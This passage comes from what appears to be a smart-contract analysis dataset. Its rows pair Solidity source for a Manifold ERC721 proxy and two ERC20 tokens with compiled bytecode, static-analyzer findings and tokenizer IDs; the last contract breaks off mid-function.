// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: danhawk /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////// // // // // // _ . , . . // // * / \_ * / \_ _ * * // // / \ / \, (( . // // . /\/\ /\/ :' __ \_ ` // // / \/ \ _/ \-'\ * // // /\ .- `. \/ \ /==~=-=~=-=- // // / `-.__ ^ / .-'.--\ =-=~_=-=~=^ // // / `. / / `.~-^=-=~=^=. // // _ _ _ // // | | | | | | // // __| | __ _ _ __ | |__ __ _ __ __| | __ // // / _` | / _` || '_ \ | '_ \ / _` |\ \ /\ / /| |/ / // // | (_| || (_| || | | | | | | || (_| | \ V V / | < // // \__,_| \__,_||_| |_| |_| |_| \__,_| \_/\_/ |_|\_\ // // // // // // // // // //////////////////////////////////////////////////////////////// contract danhawk is ERC721Creator { constructor() ERC721Creator("danhawk", "danhawk") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203caff76e56246e611467b2b5db185bb8003201f5cd2be79c8e2cd9040aaf97de64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 2692, 2063, 26224, 2683, 2497, 2692, 25746, 2278, 21057, 2497, 2575, 2497, 2509, 2497, 2581, 2475, 2050, 2683, 2575, 14526, 3401, 2581, 2546, 2683, 2497, 2683, 22610, 21619, 2509, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 4907, 17998, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,452
0x96d1277895466bf41a6be937e0212a61ada714c0
pragma solidity ^0.4.26; contract SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function safeAdd(uint256 a, uint256 b) public pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function safeSub(uint256 a, uint256 b) public pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } } contract TGBT is SafeMath { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed tokenOwner, address indexed spender, uint256 value); constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * _transfer Moves tokens `_value` from `_from` to `_to`. * * * Emits a {Transfer} event. * * Requirements: * * - `_from` cannot be the zero address. * - `_to` cannot be the zero address. * - `_from` must have a balance of at least `_value`. */ function _transfer(address _from, address _to, uint _value) internal { require(_from != 0x0); require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); // no need uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] = safeSub(balanceOf[_from],_value); // subtract from sender balanceOf[_to] = safeAdd(balanceOf[_to],_value); // add the same to the reciptient emit Transfer(_from, _to, _value); // no need assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * _approve Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != 0x0); require(spender != 0x0); allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } /** *transfer * * Requirements: * * - `_to` cannot be the zero address. * - the caller must have a balance of at least `_value`. */ function transfer(address _to, uint256 _value) public returns (bool) { _transfer(msg.sender, _to, _value); return true; } /** * transferFrom * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `_from` and `_to` cannot be the zero address. * - `_from` must have a balance of at least `_value`. * - the caller must have allowance for ``_from``'s tokens of at least * `_value`. */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_value <= allowance[_from][msg.sender]); // Check allowance _approve(_from, msg.sender, safeSub(allowance[_from][msg.sender],_value)); _transfer(_from, _to, _value); return true; } /** * approve * * Requirements: * * - `_spender` cannot be the zero address. */ function approve(address _spender, uint256 _value) public returns (bool success) { _approve(msg.sender, _spender, _value); return true; } /** * increaseAllowance * * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `_spender` cannot be the zero address. */ function increaseAllowance(address _spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, _spender, safeAdd(allowance[msg.sender][_spender],addedValue)); return true; } /** * decreaseAllowance * * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `_spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address _spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, _spender, safeSub(allowance[msg.sender][_spender],subtractedValue)); return true; } /** * burn * Destroys `_value` tokens from the caller. * */ function burn(uint256 _value) public returns (bool) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = safeSub(balanceOf[msg.sender],_value); // Subtract from the sender totalSupply = safeSub(totalSupply,_value); // Updates totalSupply emit Transfer(msg.sender, address(0), _value); return true; } /** * burnFrom * Destroys `_value` tokens from `_from`, deducting from the caller's * allowance. * * * Requirements: * * - the caller must have allowance for ``_from``'s tokens of at least * `_value`. */ function burnFrom(address _from, uint256 _value) public returns (bool) { require(_value <= allowance[_from][msg.sender]); // Check allowance require(balanceOf[_from] >= _value); // Check if the targeted balance is enough uint256 decreasedAllowance = safeSub(allowance[_from][msg.sender],_value); _approve(_from, msg.sender,decreasedAllowance); balanceOf[_from] = safeSub(balanceOf[_from],_value); // Subtract from the targeted balance totalSupply = safeSub(totalSupply,_value) ; // Update totalSupply emit Transfer(_from, address(0), _value); return true; } }
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd146101a157806323b872dd146101c8578063313ce567146101f2578063395093511461021d57806342966c681461024157806370a082311461025957806379cc67901461027a57806395d89b411461029e578063a293d1e8146102b3578063a457c2d7146102ce578063a9059cbb146102f2578063dd62ed3e14610316578063e6cb90131461033d575b600080fd5b3480156100eb57600080fd5b506100f4610358565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b5061018d600160a060020a03600435166024356103e6565b604080519115158252519081900360200190f35b3480156101ad57600080fd5b506101b66103fc565b60408051918252519081900360200190f35b3480156101d457600080fd5b5061018d600160a060020a0360043581169060243516604435610402565b3480156101fe57600080fd5b50610207610481565b6040805160ff9092168252519081900360200190f35b34801561022957600080fd5b5061018d600160a060020a036004351660243561048a565b34801561024d57600080fd5b5061018d6004356104c0565b34801561026557600080fd5b506101b6600160a060020a0360043516610556565b34801561028657600080fd5b5061018d600160a060020a0360043516602435610568565b3480156102aa57600080fd5b506100f4610691565b3480156102bf57600080fd5b506101b66004356024356106eb565b3480156102da57600080fd5b5061018d600160a060020a0360043516602435610764565b3480156102fe57600080fd5b5061018d600160a060020a036004351660243561079a565b34801561032257600080fd5b506101b6600160a060020a03600435811690602435166107a7565b34801561034957600080fd5b506101b66004356024356107c4565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103de5780601f106103b3576101008083540402835291602001916103de565b820191906000526020600020905b8154815290600101906020018083116103c157829003601f168201915b505050505081565b60006103f333848461083f565b50600192915050565b60035481565b600160a060020a038316600090815260056020908152604080832033845290915281205482111561043257600080fd5b600160a060020a03841660009081526005602090815260408083203380855292529091205461046c91869161046790866106eb565b61083f565b6104778484846108cb565b5060019392505050565b60025460ff1681565b336000818152600560209081526040808320600160a060020a038716845290915281205490916103f391859061046790866107c4565b336000908152600460205260408120548211156104dc57600080fd5b336000908152600460205260409020546104f690836106eb565b3360009081526004602052604090205560035461051390836106eb565b60035560408051838152905160009133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001919050565b60046020526000908152604090205481565b600160a060020a0382166000908152600560209081526040808320338452909152812054819083111561059a57600080fd5b600160a060020a0384166000908152600460205260409020548311156105bf57600080fd5b600160a060020a03841660009081526005602090815260408083203384529091529020546105ed90846106eb565b90506105fa84338361083f565b600160a060020a03841660009081526004602052604090205461061d90846106eb565b600160a060020a03851660009081526004602052604090205560035461064390846106eb565b600355604080518481529051600091600160a060020a038716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019392505050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103de5780601f106103b3576101008083540402835291602001916103de565b6000808383111561075d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b5050900390565b336000818152600560209081526040808320600160a060020a038716845290915281205490916103f391859061046790866106eb565b60006103f33384846108cb565b600560209081526000928352604080842090915290825290205481565b60008282018381101561083857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600160a060020a038316151561085457600080fd5b600160a060020a038216151561086957600080fd5b600160a060020a03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600160a060020a03831615156108e057600080fd5b600160a060020a03821615156108f557600080fd5b600160a060020a03831660009081526004602052604090205481111561091a57600080fd5b600160a060020a0382166000908152600460205260409020548181011161094057600080fd5b600160a060020a03831660009081526004602052604090205461096390826106eb565b600160a060020a03808516600090815260046020526040808220939093559084168152205461099290826107c4565b600160a060020a0380841660008181526004602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35050505600a165627a7a72305820864ed889b49cd8b672a4d236e503893bb475fb297770002add537ca0a7a978dc0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2094, 12521, 2581, 2581, 2620, 2683, 27009, 28756, 29292, 23632, 2050, 2575, 4783, 2683, 24434, 2063, 2692, 17465, 2475, 2050, 2575, 2487, 8447, 2581, 16932, 2278, 2692, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2656, 1025, 3206, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2804, 1997, 2048, 27121, 24028, 1010, 7065, 8743, 2075, 2006, 1008, 2058, 12314, 1012, 1008, 1008, 13637, 2000, 5024, 3012, 1005, 1055, 1036, 1009, 1036, 6872, 1012, 1008, 1008, 5918, 1024, 1008, 1008, 1011, 2804, 3685, 2058, 12314, 1012, 1008, 1013, 3853, 3647, 4215, 2094, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,453
0x96d18e087f24674335e51ad2609eba03dbf15cf5
pragma solidity 0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor(address _owner) public { owner = _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract DetailedERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] 